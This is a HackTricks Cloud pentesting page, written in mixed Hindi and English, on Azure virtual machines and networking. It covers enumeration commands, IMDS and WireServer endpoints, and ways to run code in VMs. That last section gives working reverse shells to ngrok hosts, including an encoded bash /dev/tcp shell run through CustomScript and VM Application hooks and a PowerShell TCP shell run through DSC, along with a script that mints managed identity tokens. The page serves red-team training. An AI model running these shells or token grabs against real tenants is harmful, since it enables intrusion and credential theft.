Az - Virtual Machines & Network
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
Azure Networking Basic Info
Azure networks में different entities and ways to configure it. आप इनके लिए एक संक्षिप्त descriptions, examples और enumeration commands different Azure network entities in:
VMs Basic information
Azure Virtual Machines (VMs) flexible, on-demand cloud-based servers हैं जो आपको Windows या Linux operating systems चलाने देते हैं. ये आपको physical hardware को manage किए बिना applications और workloads deploy करने की अनुमति देते हैं. Azure VMs को specific needs को पूरा करने के लिए विभिन्न CPU, memory, और storage options के साथ configure किया जा सकता है और virtual networks, storage, और security tools जैसी Azure services के साथ integrate किया जा सकता है.
Security Configurations
- Availability Zones: Availability zones specific Azure region के भीतर datacenters के distinct groups हैं जो physically separated होते हैं ताकि local outages या disasters से multiple zones के affected होने का risk कम किया जा सके.
- Security Type:
- Standard Security: यह default security type है जिसे किसी specific configuration की आवश्यकता नहीं होती.
- Trusted Launch: यह security type Secure Boot और Virtual Trusted Platform Module (vTPM) का उपयोग करके boot kits और kernel-level malware के against protection बढ़ाता है.
- Confidential VMs: A trusted launch के ऊपर, यह VM, hypervisor और host management के बीच hardware-based isolation provide करता है, disk encryption को बेहतर बनाता है और more.
- Authentication: By default एक नया SSH key is generated होता है, हालांकि public key का उपयोग करना या previous key का उपयोग करना possible है और default username azureuser होता है. यह भी configure किया जा सकता है कि password उपयोग हो.
- VM disk encryption: Disk at rest by default platform managed key का उपयोग करके encrypted होती है.
- It’s also possible to enable Encryption at host, जहां data host में storage service को भेजने से पहले encrypted होगा, जिससे host और storage service के बीच end-to-end encryption सुनिश्चित होती है (docs).
- NIC network security group:
- None: Basically हर port open करता है
- Basic: HTTP (80), HTTPS (443), SSH (22), RDP (3389) inbound ports को आसानी से open करने देता है
- Advanced: एक security group select करें
- Backup: Standard backup (दिन में एक बार) और Enhanced (दिन में multiple) enable करना possible है
- Patch orchestration options: यह selected policy के अनुसार VMs में automatically patches apply करने की अनुमति देता है जैसा कि docs में वर्णित है.
- Alerts: यह possible है कि VM में कुछ होने पर email या mobile app के जरिए automatically alerts प्राप्त हों. Default rules:
- Percentage CPU 80% से अधिक है
- Available Memory Bytes 1GB से कम है
- Data Disks IOPS Consumed Percentage 95% से अधिक है
- OS IOPS Consumed Percentage 95% से अधिक है
- Network in Total 500GB से अधिक है
- Network Out Total 200GB से अधिक है
- VmAvailabilityMetric 1 से कम है
- Heath monitor: By default port 80 में HTTP protocol check करता है
- Locks: यह VM को lock करने की अनुमति देता है ताकि इसे केवल read (ReadOnly lock) किया जा सके या इसे read और updated किया जा सके लेकिन deleted नहीं (CanNotDelete lock).
- Most VM related resources also support locks like disks, snapshots…
- Locks को resource group और subscription levels पर भी apply किया जा सकता है
Disks & snapshots
- यह possible है कि enable to attach a disk to 2 or more VMs
- By default हर disk encrypted होती है platform key के साथ.
- Same in snapshots
- By default यह possible है कि disk को all networks से share किया जाए, लेकिन इसे केवल certain private access तक restricted भी किया जा सकता है या public और private access को completely disable किया जा सकता है.
- Same in snapshots
- यह possible है कि generate a SAS URI (max 60days) करके disk export किया जाए, जिसे authentication required हो या न हो, इस तरह configure किया जा सकता है
- Same in snapshots
# List all disks
az disk list --output table
# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
Images, Gallery Images & Restore points
एक VM image एक template है जिसमें operating system, application settings और filesystem शामिल होते हैं, जो एक नया virtual machine (VM) बनाने के लिए needed होते हैं। image और disk snapshot के बीच difference यह है कि disk snapshot एक read-only, point-in-time copy होता है एक single managed disk का, जिसका उपयोग primarily backup या troubleshooting के लिए किया जाता है, जबकि image में multiple disks हो सकते हैं और इसे new VMs बनाने के लिए template के रूप में serve करने के लिए designed किया जाता है।
Images को Azure के Images section में या Azure compute galleries के अंदर manage किया जा सकता है, जो versions generate करने और image को cross-tenant share करने, या even इसे public बनाने की अनुमति देता है।
एक restore point VM configuration और VM से attached सभी managed disks के point-in-time application-consistent snapshots store करता है। यह VM से related होता है और इसका purpose यह होता है कि उस VM को उसी specific point में जैसा वह था, वैसा restore किया जा सके।
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shaerd with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
Azure Site Recovery
docs से: Site Recovery outages के दौरान business apps और workloads को चलाकर business continuity सुनिश्चित करने में मदद करता है। Site Recovery primary site से secondary location तक physical और virtual machines (VMs) पर चल रहे workloads की replicates करता है। जब आपके primary site पर outage होता है, तो आप secondary location पर fail over करते हैं, और वहीं से apps access करते हैं। जब primary location फिर से चलने लगती है, तो आप वापस उस पर fail back कर सकते हैं।
Azure Bastion
Azure Bastion आपके virtual machines (VMs) तक सीधे Azure Portal या jump box के जरिए secure और seamless Remote Desktop Protocol (RDP) और Secure Shell (SSH) access enable करता है। यह आपके VMs पर public IP addresses की जरूरत को eliminating करके करता है।
Bastion उस VNet में, जिस पर उसे काम करना होता है, /26 netmask के साथ AzureBastionSubnet नाम का subnet deploy करता है। फिर यह RDP और SSH का उपयोग करके browser के जरिए internal VMs से connect करने देता है, जिससे VMs के ports Internet पर expose नहीं होते। यह jump host की तरह भी काम कर सकता है।
अपने subscription में सभी Azure Bastion Hosts की सूची बनाने और उनके जरिए VMs से connect करने के लिए, आप निम्न commands का उपयोग कर सकते हैं:
# List bastions
az network bastion list -o table
# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa
# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
Metadata
Azure Instance Metadata Service (IMDS) चल रही virtual machine instances के बारे में जानकारी प्रदान करता है ताकि उनके management और configuration में मदद मिल सके। यह SKU, storage, network configurations, और REST API के माध्यम से upcoming maintenance events की जानकारी देता है, जो non-routable IP address 169.254.169.254 पर उपलब्ध है और केवल VM के अंदर से accessible है। VM और IMDS के बीच communication host के भीतर ही रहता है, जिससे secure access सुनिश्चित होता है। IMDS को query करते समय, VM के अंदर मौजूद HTTP clients को proper communication सुनिश्चित करने के लिए web proxies को bypass करना चाहिए।
इसके अलावा, metadata endpoint से संपर्क करने के लिए HTTP request में Metadata: true header होना चाहिए और X-Forwarded-For header नहीं होना चाहिए।
metadata endpoint से access token request करते समय, default रूप से metadata service token generate करने के लिए system assigned managed identity का उपयोग करेगी, यदि कोई system assigned managed identity मौजूद है। अगर सिर्फ ONE user assigned managed identity है, तो वही default रूप से उपयोग होगी। हालांकि, यदि कोई system assigned managed identity नहीं है और multiple user assigned managed identities हैं, तो metadata service एक error लौटाएगी जिसमें बताया जाएगा कि multiple managed identities हैं और किसे उपयोग करना है यह specify करना आवश्यक है।
इसे enumerate करने का तरीका यहां देखें:
VM Enumeration
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>
## List all available VM images and get info about one
az vm image list --all --output table
# VM Extensions
## List all VM extensions
az vm extension image list --output table
## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>
## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>
# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shared with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
# Bastion
## list all bastions
az network bastion list -o table
# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
## List public IPs
az network public-ip list --output table
## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table
## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>
## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
# Misc
## List all virtual machine scale sets
az vmss list --output table
## List all availability sets
az vm availability-set list --output table
## List all load balancers
az network lb list --output table
## List all storage accounts
az storage account list --output table
## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>
# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>
## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table
# List all available run commands for virtual machines
az vm run-command list --output table
VMs में Code Execution
VM Extensions
Azure VM extensions छोटे applications हैं जो Azure virtual machines (VMs) पर post-deployment configuration और automation tasks provide करते हैं।
यह आपको VMs के अंदर arbitrary code execute करने की अनुमति देगा।
Required permission है Microsoft.Compute/virtualMachines/extensions/write।
सभी available extensions की list इस तरह की जा सकती है:
# It takes some mins to run
az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
custom extensions that run custom code चलाना संभव है:
- Execute a revers shell
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- इंटरनेट पर स्थित एक script execute करें
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
प्रासंगिक VM extensions
आवश्यक permission अभी भी Microsoft.Compute/virtualMachines/extensions/write है।
VMAccess extension
यह extension Windows VMs के अंदर users के password को modify करने की अनुमति देता है (या अगर वह मौजूद नहीं है तो create करने की)।
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)
यह एक VM extension है जो Microsoft की है और PowerShell DSC का उपयोग करके Azure Windows VMs की configuration को manage करती है। इसलिए, इसका उपयोग इस extension के through Windows VMs में execute arbitrary commands करने के लिए किया जा सकता है:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker
यह एक VM extension है जो automation account से VMs में runbooks execute करने की अनुमति देता है। अधिक जानकारी के लिए Automation Accounts service देखें।
VM Applications
ये packages हैं जिनमें सभी application data और install और uninstall scripts होते हैं, जिनका उपयोग VMs में application को आसानी से add और remove करने के लिए किया जा सकता है।
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
ये वो paths हैं जहाँ applications file system के अंदर download होती हैं:
- Linux:
/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version> - Windows:
C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>
नई applications install करने के लिए https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli देखें
Caution
यह संभव है कि individual apps और galleries को अन्य subscriptions या tenants के साथ share किया जा सके। यह बहुत दिलचस्प है क्योंकि इससे attacker को application backdoor करने और अन्य subscriptions और tenants में pivot करने की अनुमति मिल सकती है।
लेकिन extensions की तरह vm apps के लिए कोई “marketplace” नहीं है।
ज़रूरी permissions हैं:
Microsoft.Compute/galleries/applications/writeMicrosoft.Compute/galleries/applications/versions/writeMicrosoft.Compute/virtualMachines/writeMicrosoft.Network/networkInterfaces/join/actionMicrosoft.Compute/disks/write
arbitrary commands execute करने के लिए exploitation example:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
User data
यह persistent data है जिसे metadata endpoint से किसी भी समय retrieve किया जा सकता है। ध्यान दें कि Azure में user data, AWS और GCP से अलग है क्योंकि अगर आप यहाँ script रखते हैं तो यह by default execute नहीं होती।
Custom data
VM को कुछ data pass करना संभव है, जिसे expected paths में store किया जाएगा:
- Windows में custom data
%SYSTEMDRIVE%\AzureData\CustomData.binमें एक binary file के रूप में रखी जाती है और इसे process नहीं किया जाता। - Linux में यह
/var/lib/waagent/ovf-env.xmlमें store होती थी और अब यह/var/lib/waagent/CustomData/ovf-env.xmlमें store होती है - Linux agent: यह by default custom data process नहीं करता, इसके लिए data enabled वाला custom image चाहिए
- cloud-init: By default यह custom data process करता है और यह data several formats में हो सकता है। यह custom data में सिर्फ script भेजकर आसानी से script execute कर सकता है।
- मैंने पाया कि Ubuntu और Debian दोनों यहाँ रखी गई script execute करते हैं।
- इसे execute करने के लिए user data enable करना भी ज़रूरी नहीं है।
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
Run Command
यह Azure द्वारा प्रदान किया गया सबसे basic mechanism है ताकि VMs में arbitrary commands execute किए जा सकें। इसके लिए आवश्यक permission है Microsoft.Compute/virtualMachines/runCommand/action.
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
Azure WireServer & GoalState
Azure VMs internal platform endpoints को expose करते हैं, जिनका उपयोग configuration, metadata retrieval और identity management के लिए होता है। इनके बीच का अंतर समझना enumeration, privilege escalation और post-exploitation के लिए critical है।
Wire Server (Azure Fabric Endpoint)
Azure WireServer एक internal Azure IP (168.63.129.16) है, जिसका उपयोग platform द्वारा VM से communicate करने के लिए किया जाता है।
यह इनके लिए जिम्मेदार है:
- VM Agent के साथ communication
- प्रदान करना:
- GoalState
- ExtensionsConfig
- Internal VM configuration (including identities)
- DHCP & DNS services
- Health monitoring
GoalState & ExtensionsConfig
GoalState Azure द्वारा defined VM की desired configuration को represent करता है। इसमें शामिल हो सकते हैं:
- Extensions configuration
- Managed identities
- Provisioning state
- Agent instructions
ExtensionsConfig में VM extensions की detailed configuration होती है और इसमें शामिल हो सकते हैं:
- User Assigned Managed Identities
- Extension settings
- Secrets (depending on extension)
इन endpoints को आमतौर पर इस माध्यम से access किया जाता है:
curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate
Access considerations
WireServer IP आम तौर पर VM के अंदर से guest network stack के जरिए reachable होता है। यह सिर्फ Azure VM Agent, Run Command, या VM extensions तक सीमित नहीं है। Microsoft agentless Linux provisioning के examples भी document करता है, जहाँ ordinary in-guest scripts सीधे 168.63.129.16 से GoalState query करते हैं।
हालांकि, हर process को necessarily वही practical result नहीं मिलेगा:
- कुछ endpoints को Azure-specific headers चाहिए, जैसे GoalState के लिए
x-ms-version: 2012-11-30. - Local guest controls access को block या alter कर सकते हैं, जिनमें host firewall rules, proxies, routes, network namespaces, containers, या endpoint protection शामिल हैं।
- VM extensions और Run Command आम तौर पर VM Agent के जरिए
root/SYSTEMके रूप में execute होते हैं, इसलिए वे local OS restrictions को bypass कर सकते हैं जो interactive user को affect करती हैं। - कुछ data agent/extension-specific होता है और VM की provisioning state, installed agent, configured extensions, या managed identity configuration पर depend कर सकता है।
इसलिए, अगर कोई request SSH से fail होती है लेकिन Run Command से work करती है, तो आम तौर पर इसका कारण OS user, environment, routing, proxy, firewall, या namespace में difference होता है, न कि कोई general Azure rule कि सिर्फ agent execution contexts ही 168.63.129.16 तक पहुंच सकते हैं।
Lab testing में यह distinction visible था: Linux/Windows VM Agent execution via Run Command या Custom Script extensions 168.63.129.16 पर GoalState तक पहुंच सकते थे, जबकि दूसरे Linux VM पर normal SSH session अभी भी IMDS तक पहुंच सकता था लेकिन GoalState query करते समय timeout हो जाता था। WireServer/GoalState को useful लेकिन environment-dependent मानें; managed identities enumerate करने के canonical तरीके के रूप में इस पर rely न करें।
Managed Identity Access From Inside the VM
VM की managed identities use करने का reliable तरीका IMDS managed identity endpoint 169.254.169.254 है, न कि WireServer ExtensionsConfig XML। जो scripts केवल ExtensionsConfig में UserAssignedIdentity nodes search करते हैं, वे reliable नहीं हैं क्योंकि:
- VM की managed identity assignment का
UserAssignedIdentitynodes के रूप में extension XML में represented होना guaranteed नहीं है। - वे system-assigned managed identities को miss कर देते हैं।
- वे user-assigned identities तभी ढूंढते हैं जब current GoalState/extension data में expected XML shape accidentally exposed हो।
Microsoft का documented security model यह है कि VM पर चलने वाला सभी code उस VM पर available managed identities के लिए tokens request कर सकता है। यह इन contexts से confirm हुआ:
- Linux SSH as a regular VM user.
- Linux Run Command through the VM Agent.
- Linux Custom Script extension through the VM Agent.
- Windows Custom Script extension as
NT AUTHORITY\SYSTEM.
इन सभी contexts में, जब requested identity VM के लिए available थी, IMDS Management, Microsoft Graph/Entra ID, Key Vault, और Storage के लिए tokens mint कर सकता था।
दो अलग समस्याएँ हैं जिन्हें अक्सर mix up किया जाता है:
- Known identity के लिए token प्राप्त करना: अगर identity VM को assigned है, तो IMDS अलग-अलग audiences जैसे
https://management.azure.com/,https://graph.microsoft.com/,https://vault.azure.net, औरhttps://storage.azure.com/के लिए tokens issue कर सकता है। अगर कई user-assigned identities मौजूद हैं, तोclient_id,object_id, याmsi_res_idसे specific identity request करें। - VM के अंदर से हर attached identity discover करना: IMDS एक simple “list all identities” endpoint नहीं देता। Practical method है default Management token लेना, ARM के जरिए VM resource read करना, और उसका
identityproperty inspect करना। यह तभी काम करता है जब उस managed identity के पास VM परMicrosoft.Compute/virtualMachines/readजैसी permissions हों। अगर ARM403return करता है, तो token फिर भी valid और useful हो सकता है, लेकिन यह VM की पूरी identity list enumerate नहीं कर सकता।
अगर ARM discovery fail हो जाए, तो आप अभी भी WireServer/HostGAPlugin sources जैसे GoalState और http://168.63.129.16:32526/vmSettings try कर सकते हैं, ताकि identity-जैसे fields (clientId, IdentityClientId, msi_res_id, user-assigned identity resource IDs) ढूंढ सकें और फिर उन्हीं selectors के साथ IMDS से tokens मांग सकें। यह एक fallback है, guarantee नहीं: ये endpoints context-dependent हैं और हो सकता है managed identity selectors बिल्कुल expose न करें।
नीचे दिए गए examples पहले token request करते हैं। फिर वे Azure Resource Manager से VM resource read करने की कोशिश करते हैं और उसका identity property print करते हैं। दूसरा step सिर्फ तभी काम करता है जब managed identity के पास VM पर Microsoft.Compute/virtualMachines/read जैसी permissions हों।
#!/usr/bin/env bash
set -euo pipefail
imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"
# Optional. Examples:
# export MSI_SELECTOR='client_id=<client-id>'
# export MSI_SELECTOR='object_id=<principal-id>'
# export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"
urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}
token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi
echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"
access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"
TOKEN="$access_token" python3 - <<'PY'
import base64, json, os
token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))
print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f" {key}: {claims[key]}")
PY
echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"
arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi
Privilege Escalation
Az - Virtual Machines & Network Privesc
Unauthenticated Access
Post Exploitation
Az - VMs & Network Post Exploitation
Persistence
References
- https://learn.microsoft.com/en-us/azure/virtual-machines/overview
- https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/
- https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
- https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token
- https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16
- https://learn.microsoft.com/en-us/azure/virtual-machines/linux/no-agent
- https://learn.microsoft.com/en-us/azure/virtual-machines/run-command
- https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux
- https://www.cybercx.com.au/blog/azure-ssrf-metadata/
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
HackTricks Cloud

